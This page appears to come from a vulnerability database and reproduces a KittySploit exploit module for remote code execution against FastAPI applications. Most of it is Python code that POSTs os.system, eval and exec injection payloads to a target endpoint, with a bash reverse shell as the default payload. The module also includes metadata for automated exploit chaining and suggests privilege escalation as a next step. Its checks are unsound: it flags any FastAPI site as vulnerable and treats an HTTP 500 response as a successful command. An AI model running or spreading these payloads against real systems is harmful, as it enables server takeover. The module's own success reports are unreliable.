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FastAPI Injection RCE

🗓️ 17 Jan 2026 08:03:29Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Remote Code Execution in FastAPI applications via template and code injection.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse
import json


class Module(Exploit, Http_client):

    __info__ = {
        "name": "FastAPI Injection RCE",
        "description": "Remote Code Execution exploit for FastAPI applications including template injection and code injection vulnerabilities",
        "author": "KittySploit Team",
        "cve": [],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.MULTI,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": "cmd",
            "platform": ["unix", "linux"],
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    exploit_path = OptString("/", "Path to vulnerable endpoint", required=False)
    command_param = OptString("cmd", "Parameter name for command injection", required=False)

    def check(self):
        """
        Check if target is FastAPI
        """
        try:
            response = self.http_request(method="GET", path="/docs")
            if response and response.status_code == 200:
                if 'swagger' in response.text.lower() or 'fastapi' in response.text.lower():
                    return {
                        'vulnerable': True,
                        'reason': 'FastAPI detected',
                        'confidence': 'high'
                    }
            return {
                'vulnerable': False,
                'reason': 'FastAPI not detected',
                'confidence': 'low'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def run(self):
        """
        Execute the exploit
        """
        try:
            print_status("Attempting FastAPI injection exploit...")
            
            path = self.exploit_path if self.exploit_path else "/"
            param = self.command_param if self.command_param else "cmd"
            command = self.payload
            
            # Try Python code injection
            python_payload = f"__import__('os').system('{command}')"
            
            # Try different injection methods
            payloads = [
                {param: python_payload},
                {param: f"eval(__import__('os').system('{command}'))"},
                {param: f"exec(__import__('os').system('{command}'))"},
            ]
            
            for payload_data in payloads:
                print_info(f"Trying payload...")
                
                # Try POST with JSON
                headers = {'Content-Type': 'application/json'}
                response = self.http_request(
                    method="POST",
                    path=path,
                    json=payload_data,
                    headers=headers,
                    allow_redirects=False,
                    timeout=10
                )
                
                if response and response.status_code in [200, 500]:
                    print_success("Command executed successfully")
                    self.vulnerable()
                    return True
            
            print_error("Exploitation failed")
            self.not_vulnerable()
            return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

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10 Jul 2026 11:31Current
6Medium risk
Vulners AI Score6
1